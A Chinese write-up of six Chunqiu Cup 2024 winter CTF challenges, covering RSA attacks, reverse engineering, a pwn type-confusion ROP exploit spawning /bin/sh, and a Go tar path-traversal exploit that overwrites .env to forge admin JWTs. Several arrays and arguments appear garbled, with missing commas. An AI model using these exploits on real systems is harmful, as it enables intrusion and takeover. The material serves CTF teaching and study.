春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

admin 2025年2月12日23:06:16评论6 views字数 19763阅读65分52秒阅读模式

★ 目录 ★

01

EzRSA

02

ez_vm    

03

ezre

04

RSA1

05

Gender_Simulation

06

Gotar

比赛持续报名中,欢迎各位选手报名!

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

EzRSA

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

私钥高位泄露,根据文献[1]中的定理6,符合相关条件时,由

可以计算出k的近似值。但是该题的e是full size,不符合条件,用上述公式只能恢复k的512位MSBs,令其为k1

dh = dh << 234
k1 = (e * dh - 1) // N + 1

[1] Boneh, D., Durfee, G., Frankel, Y. (1998). An Attack on RSA Given a Small Fraction of the Private Key Bits. In: Ohta, K., Pei, D. (eds) Advances in Cryptology — ASIACRYPT’98. ASIACRYPT 1998. Lecture Notes in Computer Science, vol 1514. Springer, Berlin, Heidelberg. https://doi.org/10.1007/3-540-49649-1_3

通过k1计算出kh、hash512

kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

因为leak = hash224 ^ hash512 ^ (k % pow(2, 512)),已知leak和sha512,同时注意到hash224只有224位,通过异或可以计算出k的512位LSBs中的512-224=288比特的高位,即目前已知k的512+288=800位MSBs,令其为k2

通过k2可以恢复p+q的234位MSBs,无需考虑hash224(其为干扰项)

paq = N + 1 - (e * dh - 1) // k2

结合paq和N,可以恢复p、q的高位,其位数足以用Coppersmith恢复完整的p、q

完整exp如下

from Crypto.Util.number import *
import hashlib
from sage.all import *


N = 136118062754183389745310564810647775266982676548047737735816992637554134173584848603639466464742356367710495866667096829923708012429655117288119142397966759435369796296519879851106832954992705045187415658986211525671137762731976849094686834222367125196467449367851805003704233320272315754132109804930069754909
e = 84535510470616870286532166161640751551050308780129888352717168230068335698416787047431513418926383858925725335047735841034775106751946839596675772454042961048327194226031173378872580065568452305222770543163564100989527239870852223343451888139802496983605150231009547594049003160603704776585654802288319835839
c = 33745401996968966125635182001303085430914839302716417610841429593849273978442350942630172006035442091942958947937532529202276212995044284510510725187795271653040111323072540459883317296470560328421002809817807686065821857470217309420073434521024668676234556811305412689715656908592843647993803972375716032906
dh = 4640688526301435859021440727129799022671839221457908177477494774081091121794107526784960489513468813917071906410636566370999080603260865728323300663211132743906763686754869052054190200779414682351769446970834390388398743976589588812203933
leak = 12097621642342138576471965047192766550499613568690540866008318074007729495429051811080620384167050353010748708981244471992693663360941733033307618896919023


def pq_add(p, q, leak):
    lp, lq = len(p), len(q)
    tp0 = int(p + (512-lp) * '0'2)
    tq0 = int(q + (512-lq) * '0'2)
    tp1 = int(p + (512-lp) * '1'2)
    tq1 = int(q + (512-lq) * '1'2)

    if tp0 * tq0 > N or tp1 * tq1 < N:
        return
    if lp == 512-unknown_bits:
        pq.append(tp0)
        return

    t = int(leak[:2], 2)

    if t == 0:
        pq_add(p + '0', q + '0', leak[1:])
    if t == 1:
        pq_add(p + '0', q + '0', leak[1:])
        pq_add(p + '1', q + '0''0' + leak[2:])
        pq_add(p + '0', q + '1''0' + leak[2:])
    if t == 2:
        pq_add(p + '1', q + '0''1' + leak[2:])
        pq_add(p + '0', q + '1''1' + leak[2:])
        pq_add(p + '1', q + '1', leak[1:])
    if t == 3:
        pq_add(p + '1', q + '1', leak[1:])


dh = dh << 234
k1 = (e * dh - 1) // N + 1
kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

unknown_bits = 234 + 5

for i in range(2**6):
    k2 = (k1 >> (512 + 6) << (512 + 6)) + (i << 512) + (leak ^ hash512)
    paq = N + 1 - (e * dh - 1) // k2

    pq = []
    try:
        pq_add(p='', q='', leak=bin(paq)[2:])
    except:
        continue

    for ph in pq:
        x = PolynomialRing(Zmod(N), 'x').gen()
        f = ph + x
        res = f.monic().small_roots(X=2**unknown_bits, beta=0.49, epsilon=0.03)
        if res:
            p = int(f(res[0]))
            q = N // p
            print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), N)))
            exit()

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

ez_vm

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

是对vm进行手撕,通过手撕一遍流程基本可以确定是一个xtea魔改,将vm执行一遍的运算表达式写出,有很多xtea的特征 但是因为变量较多,代码混淆比较严重 后续还有对取一个数组的值替换加密结果的操作,逆向回来就行,弄懂一遍循环就可以明白后续的流程都一样 

编写exp

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>

//void xtea_encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
//    uint32_t sum = 0;
//    uint32_t delta = 0x9E3779B9;
//    uint32_t k[4];
//    memcpy(k, key, sizeof(k));
//    uint32_t v0 = v[0];
//    uint32_t v1 = v[1];
//    for (unsigned int i = 0; i < num_rounds; i++) {
//        uint32_t f = v1 << 4;
//        uint32_t g = v1 >> 5;
//        uint32_t h = f ^ g;
//        uint32_t i = h + v1;
//        uint32_t j = i ^ (sum + k[sum & 3]);
//        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]);  //1375741483
//        sum += delta;
//        uint32_t a = v0 << 4;
//        uint32_t b = v0 >> 5;
//        uint32_t c = a ^ b;
//        uint32_t d = c + v0;    
//        uint32_t e = d^ (sum + k[(sum >> 11) & 3]);
//        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) & 3]);
//    }
//    v[0] = v0;
//    v[1] = v1;
//}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x20252025, sum = delta * num_rounds;
    for (i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 6)^0x42) + v0) ^ (sum + key[(sum >> 7) & 3])^3;
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 6)^0x42) + v1) ^ (sum + key[sum & 3])^3;
    }
    v[0] = v0; v[1] = v1;
}
int main() {
    uint32_t const key[4] = { 2,0,2,5 };//0x64636261,0x68676665,0x34333231,0x38373635,0x6c6b6a69,0x706f6e6d,0x72657771,0
    uint32_t v[10] = { 0x83845981,0x34402115,0xfb1f53d2,0x547564c9,0x3b42fcc6,0x2b67fcde,0x675ab09c,0x1d47f41a,0x876d3272,0x734d7d95 };
    int byte_16561[256] = { 1641964206201492331749241821761383610612318203103219248210126157208129513033135131134124194159412021917322278205988319016734718117114820446292435416186215195322917912926160231371171758167928072216163631131221991981441771872502211852461691831005622322481781195191294121977105358774253192431612094091111288525466227716822525518812513915496173151251141214172301569234245754559342890114701952289321814615510189153133521151658655762213216218010984230193312361136247218823977238137104891843223222020114525221320065158118120502510210157107197823916861421661315214024952764143796023511221799211226442401475824402421701274248236108116110241146223715017413820711156212 };
    for (int h = 0; h < 10; h += 2) {
        uint32_t tmp = v[h];
        uint8_t* first_byte = (uint8_t*)&tmp;
        for (int g = 0; g < 4; g++) {
            int index = *(first_byte + g);
            for (int l = 0; l < 256; l++) {
                if (index == byte_16561[l]){
                    *(first_byte + g) = l;
                }
            }
        }
        v[h] = tmp;
    }
    for (int h = 0; h < 10; h++) {
        printf("%xn", v[h]);
    }
    printf("flag{");
    for (int l = 0; l < 9; l+=2) {
        uint32_t m[2];
        m[0] = v[l];
        m[1] = v[l + 1];
        decipher(32, m, key);
        char* input = (char*)m;
        for (int i = 0; i < 8; i++) {
            printf("%c", input[i]);
        }
    }
    printf("}");
 //flag{e8ff1a85-5ccd-4171-9f2a-ce6eea614a54}
    //decipher(32, v, key);
    //char* input = (char*)v;
    //printf("start:n");
    //for (int i = 0; i < 8; i++) {
    //    printf("%cn", input[i]);
    //}
    //for (int h = 0; h < 8; h++) {
    //    printf("%dn", input[h]);
    //}
}//0xd659641b,0x1ff8f057,0x68dbe56d,0x36c73dcb,0xff6fb296,0x45245c08,0x3fb8e222,0x3d546a65,
春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

ezre

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

看到计算哈希的函数custom_md5_init

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

得知要计算的是从该函数开始向后的1024个字节

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

010手动提取并计算md5值。

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

用前面的md5值作为伪随机数的种子,得到随机数队列。

解题脚本

flag = [
    0x5c0x760x4a0x780x150x620x050x7c0x6b0x21
    0x400x660x5b0x1a0x480x7a0x1e0x460x7f0x28
    0x020x750x680x2a0x340x0c0x4b0x1d0x3d0x2e
    0x6b0x7a0x170x450x070x750x470x270x390x78
    0x610x0b
]

key = [582643311100506982683485585512567123358228967010786561141211629827447117972211720926588118]

for i in range(len(flag)):
    print(chr(flag[i] ^ key[i]), end="")

# flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99}
春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

RSA1

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

Franklin-Reiter相关消息攻击,先找到m2与m1的关系,m2=m1+k,求出k

m1 = bytes_to_long(flag)
m2 = bytes_to_long(''.join(chr((ord(i) + 3) % 128for i in flag.decode()).encode())

特别要注意flag最后的'}',其ascii是125,加3之后模128为0,所以该字符要特殊处理

k = 0
for i in range(130):
    if i != 130 - 42:
        k += 3 * pow(2, i * 8)
    else:
        k -= 125 * pow(2, i * 8)  # '}'

联立c2和c3,即f = c2^2835 - (c3-e)^2025,可以用coppersmith解出e,但这里多项式的度比较大,求解不出

e = getPrime(128)
c1 = pow(m1 * e, 2835, N)
c2 = pow(m2, 2025, N)
c3 = pow(m2, 2835, N) + e

注意到lcm(2025,2835)=14175,有2025*7=2835*5,所以可以用5和7代替

x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]

求出e后,联立c1和c2,通过Franklin-Reiter方法即可解出m1(但还不是flag)

def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])

这里有一个坑,注意到一开始flag的构造

flag = b'flag{' + str(uuid.uuid4()).encode() + b'}'
flag += bin(getPrime((1024 - bytes_to_long(flag).bit_length()) // 8)).encode()
m1 = bytes_to_long(flag)

m1>N,但没有大很多,可以根据flag头爆破出来

i = 0
while 1:
    m1 += N
    flag = long_to_bytes(m1)
    if b'flag{' in flag:
        print(f'{i = }')
        print(flag)
        break
    i += 1

完整exp如下

from Crypto.Util.number import *
from sage.all import *


N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309

k = 0
for i in range(130):
    if i != 130 - 42:
        k += 3 * pow(2, i * 8)
    else:
        k -= 125 * pow(2, i * 8)  # '}'


x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]


def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])


i = 0
while 1:
    m1 += N
    flag = long_to_bytes(m1)
    if b'flag{' in flag:
        print(f'{i = }')
        print(flag)
        break
    i += 1

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

Gender_Simulation

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

Boy和Girl类都是继承自Baby类,但是对gender这个虚函数方法的实现不同:

class Baby {
public:
    virtual void gender() 0;
};
 
class Boy: public Baby{
public:
    Boy() {
        cout << "A boy was born" << endl;
        strncpy(certificate, generateRandomString(16).c_str(), MAX_DATA_LEN);
    }
    virtual void gender() {
        cout << "The certificate is " << certificate << 'x00' << endl;
    }
    char certificate[MAX_DATA_LEN + 0x10];
};
 
class Girl: public Baby {
public:
    Girl() {
        cout << "A girl was born" << endl;
        certificate = [](const char* str) { puts(str); };
    }
    virtual void gender() {
        string s = "The certificate is " + generateRandomString(16) + 'x00';
        certificate(s.c_str());
    }
    void (*certificate)(const char*);
};

其中Boy类的certificate的类型是char字符串,而Girl类中的certificate是函数指针。

因此当选择Femboy或者Tomboy时就会产生类型混淆。其中当选择Tomboy时,由于直接把Girl类型直接转化为Boy类型,因此识别到的certificate是Boy类中的char字符串,而后续实际调用的gender方法是Girl类的(即会把certificate当成函数指针调用):

static void choose(Baby* baby) {
    string s = typeid(*baby).name();
    char choice;
    if (s == "3Boy") {
   // pass it
    } else if ( s == "4Girl") {
        menu(baby);
        cin >> choice;
        switch (choice) {
            case '1': {
                // pass it
            }
            case '2': {
                string buf;
                Boy* tomboy = static_cast<Boy*>(baby);
                cout << "If you think you are a boy, please leave your gender certificate" << endl;
                cin >> buf;
                strncpy(tomboy->certificate, buf.c_str(), MAX_DATA_LEN); // 此处certificate会被识别为Boy类的char*类型,因此不会报错
                tomboy->gender(); // 这里会识别为Gril类的gender实现方法
                break;
            }
            default: {
                // pass it
            }
        }
    }
}

也就是意味着我们可以修改一个函数指针并调用它。程序里预留了一个gender栈溢出漏洞函数,可以修改certificate为这个函数地址实现调用:

void gender() {
        char buf[MAX_DATA_LEN];
        cout << "If you think you are a shopping bag, please leave your gender certificate" << endl;
        read(0, buf, 0x100);
}

程序没有开PIE和Canary,且开头给出了libc上的地址,在IDA中查看buf,可以获取需要填充的偏移量:

-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010     _BYTE buf[16];
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

高版本的栈溢出rop链寻找比较麻烦,这里给出一条针对此题的rop链:

# 0x000000000040391a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
# 0x0000000000402fcc : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x000000000040201a : ret
# 0x0000000000403476 : mov rdi, rax ; call rbx

通过[rbp -8] -> rax -> rdi可以实现控制第一个参数,而通过控制rbx可以控制要调用的函数。

我们将rbx控制为system地址,[rbp-8]控制为/bin/sh地址就可以实现调用system("/bin/sh")方法了,而要控制[rbp-8]需要在libc上找到一个调用/bin/sh地址的地址,再将old_rbp填充为这个地址+8的值,最后执行完leave后,rbp的地址就会变成这个地址+8的值。

通过IDA利用libc.so.6查找/bin/sh的交叉引用可以找的0x201500这个偏移:

.data.rel.ro:00000000002014FC                 db    0
.data.rel.ro:00000000002014FD                 db    0
.data.rel.ro:00000000002014FE                 db    0
.data.rel.ro:00000000002014FF                 db    0
.data.rel.ro:0000000000201500 off_201500      dq offset aBinSh        ; DATA XREF: sub_110F20+C3↑r
.data.rel.ro:0000000000201500                                         ; sub_110F20+7B1↑r
.data.rel.ro:0000000000201500                                         ; "/bin/sh"
.data.rel.ro:0000000000201508                 align 20h
.data.rel.ro:0000000000201520 off_201520      dq offset off_201560    ; DATA XREF: argp_parse+406↑o
.data.rel.ro:0000000000201520                                         ; "version"
.data.rel.ro:0000000000201528                 dq offset sub_134960

编写exp即可获取flag:

完整的exp:

from pwn import *
from pwn import p64
 
target_info = {
    'exec_path''./pwn',
    'elf_info': ELF('./pwn'),
    'libc_info': ELF('./libc.so.6')
}

#io = process(target_info['exec_path'])
io = remote('127.0.0.1'8888)

#gdb.attach(io, 'b *0x40262E')
#pause()

io.recvuntil(b'gift: ')

setvbuf = {
    'got' : int(io.recvline().strip(), 16)
}
log.info(f'setvbuf@got: {hex(setvbuf["got"])}')
target_info['libc_info'].address = setvbuf['got'] - target_info['libc_info'].sym['setvbuf']
log.info(f'libc_base: {hex(target_info["libc_info"].address)}')

binsh = target_info['libc_info'].address + 0x201500
system = target_info['libc_info'].sym['system']

payload = p64(target_info['elf_info'].sym['_Z6genderv'])
io.sendlineafter(b'Girln'b'2')
io.sendlineafter(b'Tomboyn'b'2')
io.sendlineafter(b'certificaten', payload)

puts = {
    'plt': target_info['elf_info'].plt['puts'],
    'got': target_info['elf_info'].got['puts']
}

payload = p64(0)*2 + p64(binsh+8) + p64(0x000000000040391a) + p64(0) + p64(0x0000000000402fcc) + p64(system) + p64(0)*3 + p64(0x000000000040201a) + p64(0x0000000000403476)
io.sendlineafter(b'certificaten', payload)


io.interactive()

# 0x000000000040391a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
# 0x0000000000402fcc : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x000000000040201a : ret
# 0x0000000000403476 : mov rdi, rax ; call rbx
春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

Gotar

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

漏洞点位于whyrusleeping/tar-utils依赖库

审计源码,可以发现tar-utils依赖的outputPath函数存在目录遍历漏洞

首先,函数将 tarPath 按照斜杠(/)分割成多个元素 然后,移除第一个元素(通常是根目录) 接着,将这些元素重新组合成一个路径字符串 最后,将这个路径基于 Extractor 的 Path 属性进行重定位春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

通过上述分析,可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞

分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析本题中controllers/file.go:96处的extractTar调用了该依赖库实现解压tar包,因此存在目录遍历漏洞春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

构造恶意tar包即可实现任意文件写入

exp1

mkdir exp
echo "hack" > exp/secret.txt
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```

进一步利用

题目使用jwt进行鉴权,jwt通过随机生成的密钥存在.env中,思考是否能覆盖.env实现越权

题目巧合的在LoginHandler处加载了环境遍历(默认读取.env),因此可以实现覆盖.env文件修改jwt密钥春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析最终exp

exppython3 exp.py 127.0.0.1:80

import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string

def generate_random_string(length):
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def send_request(session, method, path, data=None, files=None, headers=None):
    url = f"http://{session.url}{path}"
    response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http''http://127.0.0.1:8083'})
    return response


def generate_jwt(user_id, is_admin, jwt_key):
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
    claims = {
        'UserID': user_id,
        'IsAdmin': is_admin,
        'exp': expiration_time
    }
    token = jwt.encode(claims, jwt_key, algorithm='HS256')
    return token

def create_malicious_tar():
    # Create the directory and .env file
    os.makedirs('exp', exist_ok=True)
    with open('exp/.env''w') as f:
        f.write("JWT_SECRET=hack")

    # Create the tar file with the path traversal
    with tarfile.open('hack.tar''w') as tar:
        tar.add('exp/.env', arcname='exp/../../../.env')

def exp(url, token):
    payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

    session = requests.Session()
    session.url = url

    random_string = generate_random_string(4)

    user_data = {
        "username": random_string,
        "password": random_string
    }
    response1 = send_request(session, 'POST''/register', data=user_data)
    if response1.status_code != 200:
        return "Failed to register"
    response2 = send_request(session, 'POST''/login', data=user_data)
    if response2.status_code != 200:
        return "Failed to login"

    with open('hack.tar''rb') as f:
        files = {'file': f}
        response3 = send_request(session, 'POST''/upload', files=files)
        if response3.status_code != 200:
            return "Failed to upload malicious tar file"
        print("Malicious tar file uploaded successfully")

    # 触发加载环境变量
    send_request(session, 'GET''/login')
    headers = {
        'Cookie': f'token={token}'
    }
    response4 = send_request(session, 'GET''/download/1', headers=headers)
    return response4.text

if __name__ == "__main__":
    create_malicious_tar()
    print("Malicious tar file created: hack.tar")

    jwt_key = "hack"
    user_id = 1
    is_admin = True

    token = generate_jwt(user_id, is_admin, jwt_key)
    print("Generated JWT:", token)

    URL = sys.argv[1]
    flag = exp(URL, token)
    print(flag)
春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

点击“阅读原文”立即参赛

原文始发于微信公众号(春秋伽玛):春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:06:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析https://cn-sec.com/archives/3642080.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息